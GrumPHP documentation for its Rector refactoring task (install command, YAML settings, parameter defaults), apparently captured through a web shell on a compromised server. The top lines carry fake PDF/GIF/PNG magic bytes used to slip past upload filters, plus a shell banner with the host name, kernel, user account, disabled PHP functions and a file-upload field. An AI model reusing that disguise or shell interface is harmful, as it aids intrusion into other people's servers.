%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64 User : addictionfreeind ( 1003) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Directory : /home/addictionfreeind/www/admin1/vendor/phpro/grumphp/doc/tasks/ |
Upload File : |
# Rector
Rector is a tool to instantly upgrade and automatically refactor your PHP 5.3+ code.
It lives under the `rector` namespace and has following configurable parameters:
## Composer
```bash
composer require --dev rector/rector
```
## Config
```yaml
# grumphp.yml
grumphp:
tasks:
rector:
config: null
triggered_by: ['php']
ignore_patterns: []
clear_cache: true
no_diffs: false
```
**config**
*Default: null*
With this parameter you can specify the path your project's configuration file. When 'null' rector will run with the default file: rector.php
**triggered_by**
*Default: [php]*
This is a list of extensions to be sniffed.
**ignore_patterns**
*Default: []*
This is a list of patterns that will be ignored by Rector. With this option you can skip files like
tests. Leave this option blank to run Rector for every php file/directory specified in your
configuration.
**clear_cache**
*Default: true*
With this parameter you can run Rector without using the cache.
**no_diffs**
*Default: false*
With this parameter you can run Rector without showing file diffs.